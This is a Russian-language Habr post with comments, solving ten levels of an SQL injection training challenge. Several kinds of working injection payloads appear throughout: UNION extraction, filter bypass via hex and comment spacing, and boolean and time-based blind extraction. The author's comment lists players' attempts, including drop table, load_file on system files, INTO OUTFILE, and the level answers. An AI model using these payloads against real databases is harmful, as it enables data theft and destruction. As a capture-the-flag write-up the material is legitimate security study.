Решение задач по sql injection с сайта alexbers.com/sql

Хочу поделиться с «Хабрахабром» примером своих решений задач по sql-инъекциям с сайта alexbers.

Пример 1: www.alexbers.com/sql/1.php


Это даже и не пример. Требуется самому написать запрос с заранее известными всем таблицами, именем пользователя.
Дано: 
Таблица: users
Поля: id,login,pass 

Решение:
select * from users where id='12'

а ссылка будет выглядеть вот так:
https://www.alexbers.com/sql/1.php?text=select+*+from+users+where+id%3D%2712%27

Просто запрос со всеми данными, которые нам заведомо известны.

Пример 2: www.alexbers.com/sql/qnbutn2.php


Нам продемонстрирован запрос:
select * from users where id=2 or login='$text' 

Дано:
Таблица: users
Поля: id,login,pass 
Требование: Ура, я знаю ответ(пароль юзера с id=9):

В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/qnbutn2.php?text=-1' or  id='9

Что мы сделали? Мы привели запрос к такому виду:
select * from users where id=2 or login='-1' or  id='9'

Мы пытаемся извлечь из таблицы users пользователя с id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса. Поскольку пользователя -1 не существует, мы из этого запроса ничего не получаем, зато id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.

Пример 3: www.alexbers.com/sql/sdjjy3.php



Опять виден запрос:
select * from users where id=2 or login='$text' limit 1 

Дано:
Таблица: users
Поля: id,login,pass 
Требование: Ура, я знаю ответ(пароль юзера с id=13):

Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.

Решение:
https://www.alexbers.com/sql/sdjjy3.php?text=-1' or id=13 -- 123

Вид запроса:
select * from users where id=2 or login='-1' or id=13 -- 123' limit 1 

Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13.

Пример 4: www.alexbers.com/sql/qjqhweh4.php



Запрос:
select * from users where id=2 or login='$text' limit 1 

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 3 поля
Требование: Ура, я знаю ответ(данное секретной таблицы с полем ggg=abc):

Чуток поинтересней. Теперь у нас 2 таблицы и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объединением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Воспользуемся оператором UNION. По задаче требуется найти данное секретной таблицы с полем ggg=abc. Количество полей в столбцах одинаково, потому запрос примет вид:

Запрос:
https://www.alexbers.com/sql/qjqhweh4.php?text=-1'+union+select+* from secret where ggg='abc'+--+123

Один из результатов и будет ответом на уровень.

Пример 5: www.alexbers.com/sql/sdfkjsdk5.php



Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 2 поля
Требование: Ура, я знаю ответ(данное секретной таблицы):

Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице users, извлечем список всех колонок для секретной таблицы. В данный момент у нас нет одинакового количества колонок, поэтому union надо использовать по-другому.
https://www.alexbers.com/sql/sdfkjsdk5.php
?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123

Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/sdfkjsdk5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123

Видим ответ.

Пример 6: www.alexbers.com/sql/skldj6



Запрос:
select * from users where id=$text limit 1 

Дано:
Таблицы: users
Поля: id,login,pass - это в users. 
Фильтруются кавычки, выводится только 1 строка из БД
Требование: Ура, я знаю ответ(пароль пользователя с ником god):

Здесь видно непонимание принципов работы фильтра mysq_real_escape_string, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны, для текстовых полей можно будет использовать функцию CHAR() или перевести в hex.
https://www.alexbers.com/sql/skldj6.php?text=-1 union select id,login,pass from users where login=0x676f64


Пример 7: www.alexbers.com/sql/dsfhsdjkf7.php



Дано:
Таблицы: users
Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся)
Фильтруются символы ',",+,=,запятая,пробел,скобки
Требование: Ура, я знаю ответ(пароль пользователя, с ником, содержащим в себе gentoo):

Запрос:
select * from users where id=$text limit 1 

Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комметарии /**/ и /*!*/, остается только одна проблема — фильтруется знак равенства. Но его можно обойти, используя оператор like. Сравние со строкой предполагает кавычки, поэтому закодируем ее в hex. Также, нам доподлинно неизвестен ник, который мы ищем, поэтому будем использовать поиск по маске со значком % в логине. Итоговый вектор атаки примет вид:
https://www.alexbers.com/sql/dsfhsdjkf7.php?text=-1/*!or/*!login*/like/**/0x2567656e746f6f25


Пример 8: www.alexbers.com/sql/qqqwwweeerrr8.php



Запрос:
select * from users where id=$text

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Подсказка: сообщения от ошибках не выведутся 
Требование: Ура, я знаю ответ(пароль пользователя, с ником fast)

Единственное, что нам вообще что-то выводится — информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число, которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все, чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii–вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией mid(), для перевода в ascii – функция ascii(), вектор атаки получится вот таким:
https://www.alexbers.com/sql/qqqwwweeerrr8.php
?text=-1 or id<=(select ascii(mid(pass,1,1)) from users where login='fast')

Вывод даст нам ascii-представление первого символа пароля. Дальше делаем запрос для второго и т.д.

Пример 9: www.alexbers.com/sql/almost9.php



Таблицы: users
Поля: id,login,pass - это в users.
Запрос: select * from users where id=$text
Требуется: "Ура, я знаю ответ (числовая сумма логинов пользователей с 20<=id<=30)".

То есть нам надо вытащить числовое значение каждого логина и сложить. При этом будем оперировать следующим сравнением:

Вектор атаки разделяется на 2 запроса:
https://www.alexbers.com/sql/almost9.php
?text=-1 or id <= cast((select sum(login) from users where id between 20 and 30) as signed INTEGER)/10
https://www.alexbers.com/sql/almost9.php
?text=-1 or id <= MOD(cast((select sum(login) from users where id between 20 and 30) as signed INTEGER),10)

Всего в таблице 1069 записей, поэтому мы не сможем вывести ответ за один

пример 10



Решение 10й задачи описано уже на ютубе, посмотреть можно вот здесь: www.youtube.com/watch?v=dLSxTGvwcLw
  • –1
  • 21,6k
  • 4
Поделиться публикацией

Комментарии 4

    +3
    Куча ошибок, в том числе в том, как раскручивать инъекции, куча того, что показывает что вы не знаете многое по sql injection, нет решения на самые интересные инъекции. То что вы написали — статья новичка на античате в середине 2000-ых.
    • НЛО прилетело и опубликовало эту надпись здесь
        +1
        :) понимаю o_0
        +6
        Очень приятно, что мои 10 задачек на sql injection решают спустя почти 7 лет после их создания.

        Нашёл письма которые были высланы первым участникам с прохождением.

        Уровни 1-9
        как надо было проходить челендж по sql инъекциям(http://209.250.241.67/sql/)
        ссылка была дана 23.10.2008 ~18:00
        потом было дано несколько недель на прохождение
        итаак…

        === ВОРНЕНГ ===

        !!!
        !!! если хотите попроходить сами, не читайте дальше!!!
        !!! если не хотите, листайте вниз!!!
        !!!

        Ну… раз не хотите…
        === ЛЕВЕЛ 1 ===
        1.php(прошли 29 раз)

        Тут все просто: вводим запрос, получаем ответ.
        Как я проходил: select * from users
        Прошли первый раз в 18:07:14
        Как проходили вы:
        так же
        select pass from users where id = 12
        ну и всё такое в этом духе

        Жгли:
        drop database level1 =)
        drop table users =))
        select version()
        show tables
        select 'hello'
        select id from users
        SELECT PASSWORD('badpwd');
        SELECT PASSWORD('god');
        select ord('god')
        select char(103)
        select char(103,103)
        select count(*)
        select count(*) from users
        select char(103,103,104)
        select quote(103)
        select hex('1')
        select hex(«select hex('1')»)
        0x73656C656374206865782827312729
        select * from level2.useres
        select hex('gentoo')
        %FB%F0%F9%F6%F4+%E5%F4%E8%E4%F3%FB
        select @@datadir
        select load_file('../../../etc/apache/httpd.conf')
        select system('ls')
        select exec('ls')
        SELECT database()
        SELECT load_file('level1/users.MYD')
        SELECT * from users UNION SELECT * FROM users INTO OUTFILE 'file.txt'
        SELECT @@max_allowed_packet
        SELECT table_name,null FROM information_schema.tables
        SELECT load_file('/var/lib/mysql/level1/users.MYD')

        странно, не было ни одного insert'a, create table'а, create database'ы

        Правильный ответ: QwErTy
        Пробовали ответы: %09QwErTy, qwerty, всякие виды sql инъекций

        == ЛЕВЕЛ 2 ==
        qnbutn2.php(прошли 18 раз)

        Тут надо было использовать моск и кавычку.
        Кавычку, для того чтобы закрыть запрос, дальше
        дополняем запрос так, чтобы условие всегда выполнялось,
        а потом так, чтобы еще одна ошибка не была синтаксической ошибкой

        Как я проходил: ' or 1=1 or login='
        Прошли первый раз в 18:10:12
        Как проходили вы:
        qwer' or 1=1#
        asd' union all select * from users where id='9
        $text' UNION SELECT * FROM users where id = 9 or login = '44
        ' OR id=9 OR login='
        ' or id=9 or id='
        qwer'union select * from users where id='9
        select * from users where id=2 or login=$text' or id=9 or
        '$text=''qwer -изврат ))
        123' or id='9
        qwe' or id = 9 order by id asc, 'a

        Жгли:
        qwerty' or id=3 or login='
        qwer' union select 1,2,HEX('aaa') from users #
        qwer' union select 1,2,HEX(«10 union select * from users where login
        like 'gentoo' order by login asc») from users #
        qwer' union select 1,2,CONCAT('0x',HEX('c:\\boot.ini'))#
        qwer' union select 1,2,hex(«qwer' union select 1,2,hex()»)#

        неожиданно много неправильных запросов с ошибками

        Правильный ответ: secreto
        Пробовали ответы: fghfghgfh,rewq,select pass from users where id=9,qqwe

        == ЛЕВЕЛ 3 ==
        sdjjy3.php(прошли 11 раз)

        Тут фишка с комментами была, что перед и после комментов должен быть
        пробельный символ. Без комментов тяжело.

        Как я проходил: ' or id=13 — Прошли первый раз в 18:11:21(быстро, блин)
        Как проходили вы:
        qwer' union select * from users where id=13# — и это с первой попытки
        asd' limit 0 union all select * from users where id='13
        ' limit 0 union select * from users where id=13 or id='
        $text' or id = 13 order by id desc, 'as
        ' or id=13 ORDER BY id DESC,'h
        ' or id=13 order by 2,'
        ' or id=13 order by 1 desc,'
        ' union select * from users where id=13 ORDER BY id DESC,'id
        ' limit 0 union select * from users where id=13 or login='ff

        Жгли:
        ' or id=13 ORDER BY 'rand()

        Правильный ответ: iwanttogo4
        Пробовали ответы: rewq

        == ЛЕВЕЛ 4 ==
        qjqhweh4.php(прошли 8 раз)

        Как я проходил: ' union select * from secret where ggg='abc' — Прошли первый раз в 18:15:03
        Как проходили вы:
        qwer' union select * from secret where ggg='abc' #
        asd' limit 0 union all select * from secret where ggg='abc
        ' limit 0 union select * from secret where ggg='abc
        a' UNION SELECT * FROM secret WHERE ggg='abc' ORDER BY id DESC, 'a
        ' union select * from secret where ggg='abc' order by id desc, '
        ' union select * from secret — aa' limit 0 union select * from secret where ggg='abc' or ggg='

        Правильный ответ: dg
        Пробовали ответы: dfgdfg

        == ЛЕВЕЛ 5 ==
        sdfkjsdk5.php(прошли 7 раз)

        Как я проходил: ' union select *,1 from secret — Прошли первый раз в 18:18:40
        Как проходили вы:
        asd' limit 0 union all select *,1 from secret where 'a'='a
        ' limit 0 union select *,0 from secret where ''='
        qwer' union select *,null from secret #
        a' UNION SELECT *, 0 as id FROM secret ORDER BY id DESC, 'a
        ' or id=14 union select *,5 from secret order by 1 desc, '
        aa' limit 0 union select *,0 from secret where 'a'='a

        Правильный ответ: thisisapass232
        Пробовали ответы: sdfsdf

        == ЛЕВЕЛ 6 ==
        skldj6.php(прошли 7 раз)

        Тут надо было написать запрос без кавычек… не очень сложно. Ещё надо
        было вспомнить что в mysql есть встроенные функции.

        Как я проходил: 0 or login=CHAR(103,111,100)
        Кстати perl -le "$_='god'; print ord for(split //,$_)"
        Прошли первый раз в 18:27:09
        Как проходили вы(както извращенско):
        111111 or (LOCATE(char(103), login)=1 and LOCATE(char(111), login)=2)
        — небанально )))
        9999999999 or ord(login)=103 limit 2,1 — -55 or (ord(SUBSTRING(login,1,1)) = 103 and ord(SUBSTRING(login,2,1))
        = 111 and ord(SUBSTRING(login,3,1)) = 100)
        10 union select * from users where
        login=CONCAT(CHAR(103),CHAR(111),CHAR(100)) order by login desc
        10 union select * from users where login like
        CONCAT(CHAR(103),CHAR(111),CHAR(100)) order by id desc
        -1 or login like 0x25676F25
        перебором ещё пробовали. я писал что база длинная, чтоб не пробовали
        Жгли:
        666
        -55 UNION SELECT count(*) as id,0 as login, 0 as pass from users

        Правильный ответ: ivarywantlevel7
        Пробовали ответы: к 6-му левелы поняли что answer.php не ломается, не
        попробовали ни одного неправильного ответа

        == ЛЕВЕЛ 7 ==
        dsfhsdjkf7.php(прошли 4 раза)

        Тут всё сложнее. Надо было вспомнить что строковые константы можно
        писать как 0x12345678.
        Вместо пробелов можно использовать табуляцию или /**/(пустой коммент)
        Очень много людей не прошли этот уровень.

        Как я проходил:
        0/**/union/**/select*from/**/users/**/where/**/login/**/like/**/0x2567656e746f6f25
        Прошли в первый раз в 19:27:31 — проходили целый час… и то помоему я
        тогда пришёл и прошёл первым
        Как проходили вы:
        0/**/union/**/select/**/*/**/from/**/users/**/where/**/login/**/like/**/0x25676525
        — вот помоему мой запрос
        10/**/union/**/select*from/**/users/**/where/**/login/**/like/**/0x2567656E746F6F25/**/order/**/by/**/id/**/desc
        (20:44:57)
        -1/**/or/**/login/**/like/**/0x25676525 (1:14:09)
        опять были попытки брута… много попыток
        Жгли:
        space(1) — помню сначала скобки не фильтровались, потом мне это
        сказали и оне столи фильтроватся
        к этому моменту уровень ещё никто не прошёл
        Можно было проходить так:
        209.250.241.67/sql/dsfhsdjkf7.php?text=-1%09or%09login%09like%090x25676525
        Или так:
        209.250.241.67/sql/dsfhsdjkf7.php?text=-1%0Aor%0Alogin%0Alike%0A0x25676525

        Правильный ответ: level8please
        Пробовали ответы: iwanttogo4, 13, 3lvl, gentoo, '

        == ЛЕВЕЛ 8 ==
        qqqwwweeerrr8.php(прошли 2 раза)

        Этот не прошли ещё больше людей.
        Как надо было проходить? Сравните:
        0 union select * from users where login='fast' and ascii(substr(pass,1,1))>80
        0 union select * from users where login='fast' and ascii(substr(pass,1,1))<80

        Если нам написали количество записей 1, то условие, что код первой
        буквы <80 выполнилось,
        так угадываем первую букву, потом вторую, и так до последней буквы.

        Прошли первый раз в 20:40:47

        Как проходили вы:
        1 limit 1 union select * from users where login='fast' and pass like '%a%'
        и в like угадывали в таком порядке:
        ab,ac,a,ab,q,9,..., попытки сбрутить 1-ую букву, к несчастию
        это оказалась цифра 9… брутили долго, попытки сбрутить вторую букву… начали
        на этот раз с цифр, дошли до l, догадались что это часть от lev,…,
        попытки сбрутить следующую букву… уже полюбому скрипт написали, узнали что
        следующая — l, потом p, потом a сразу же, потом 2-е ss, потом еще
        зачемто попытались
        следующую брутить, неполучилось, потом подумали что s последнюю не
        угадали, начали
        опять её брутить, сбрутили s. Получилось 9levlpass

        второй ктото догадался что в слове есть часть pass, первая часть слова похожа
        на level, узнал какие буквы есть в слове, и что в нем есть цифра 9

        Правильный ответ: 9levlpass
        Пробовали ответы: iwantlevel9,as, pass, fast

        == ЛЕВЕЛ 9 ==
        almost9.php(прошли 1 раз)

        Прошли первый раз в 23:40:42(в 27 и в 40 минут почему-то прошли 4 левела из 9)
        Этот был даже легче чем 8-ой(передышка перед 10-ым), проходили так:
        -1 union select 0,0,sm from (select sum(login) as sm from users where
        20 <= id and id <= 30) as a where sm > 2000
        ну и так сбрутили число

        Правильный ответ: 2225

        == ЛЕВЕЛ 10 ==
        lastlevel10.php(не прошёл никто) / кроме меня =)

        Щас вышлю отдельным письмом как он ломался.

        Пробовали ответы: qwerty, morkovka, MoRkoVkA, MaRkoVkA, MaRkoFfKa,
        levl10pass, level10pass, carrot
        carrot%FB, carrots, c1, bdsfgf, fgsdfgsdfgsdfgsd ,,
        bay, loginov, pass, level10please,
        fuck, qerdtfyghjkl%3B, йцукен, qwerty, QwEr, 1234

        P.S. чето дохло его пытались сломать, даже близко никакой попытки не было
        Решил что завтра вечером письмо вышлю, когда в ебург
        приеду(~23:00 если не забуду),
        а седня ещё можно его ломать. Морковок еще из дома возьму)))

        Уровень 10
        10ый уровень ломался сложно!

        условие: ничего не известно, ничего не выводиться.
        Но запрос выполняется!!!

        Вот этим и надо было воспользоваться.

        Проблема 1 — неизвестно имя таблицы
        Решение: на первым экране сказано что установлена mysql.
        У ней есть база данных information_schema. В ней есть таблицы TABLES
        и COLUMNS, которые описывают соответственно таблицы и колонки баз
        данных, к которым
        разрешён доступ для текущего пользователя. Их надо было использовать.
        Например запрос SELECT TABLE_NAME from information_schema.TABLES
        where TABLE_SCHEMA='level10' выведет имена таблиц.

        Проблема 2 — черт, ничего не выводиться
        С этим сложнее. Я решал так: в mysql есть функция BENCHMARK. У неё 2
        параметра: сколько раз выполнять и какую функцию. Этой функцией удобно
        делать задержки.
        Например можно сделать задержку в 2-е секунды.
        Фишак вот в чем: составляем такое условие «SELECT поле FROM таблица
        WHERE код первой буква поля>50 и benchmark(9999999,md5(поле)) LIMIT
        1».
        Если первая часть условия(до «и») не выполнилась, то вторая не будет
        считаться («и»=1 <=> левая часть=1 и правая часть=1; левая часть=0 =>
        «и»=0)
        Засекаем время, за которое мы получили ответ от сервера. Выесняем,
        выполнилась или нет левая часть. Если выполнилась то код первой буквы
        > 50.
        Так угадываем 1-ую букву, потом 2-ую, и так до конца.
        Кстати, функция в benchmark'е должна зависеть от значения какой
        нибудь записи в таблице(а то ничего не получится)
        В аттаче сполойт, который делает то, что написано выше. На нормальном
        интернетовском канале не врет. Если будет врать можно поменять
        константы в начале, и врать будет меньше, но работать — дольше.

        ======================================

        10-ый уровень не прошёл никто(((
        Я пытался сделать его полегче, полностью выключил фильтрацию, сделал 1
        таблицу с 1-ой записью и 5 полями, чтобы долго не ломали.
        Всеравно получилось сложновато(но ломаемо)

        P.S. некоторые интересные факты об игре
        — игра писалась 2 дня
        — самое главное условие для меня было чтобы все уровни были проходимы
        — ещё, большое внимание было уделено к тому чтоб, например, из 1-го
        уровня нельзя было пройти 5-ый, или испортить какуюнить таблицу,
        сделав уровень непроходимым
        — answer.php не ломался

        P.P.S спасибо за игру))

        Сейчас я занимаюсь исследованиями в области Identity Federations в университете KIT(Германия) на трехмесячной стажировке.

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое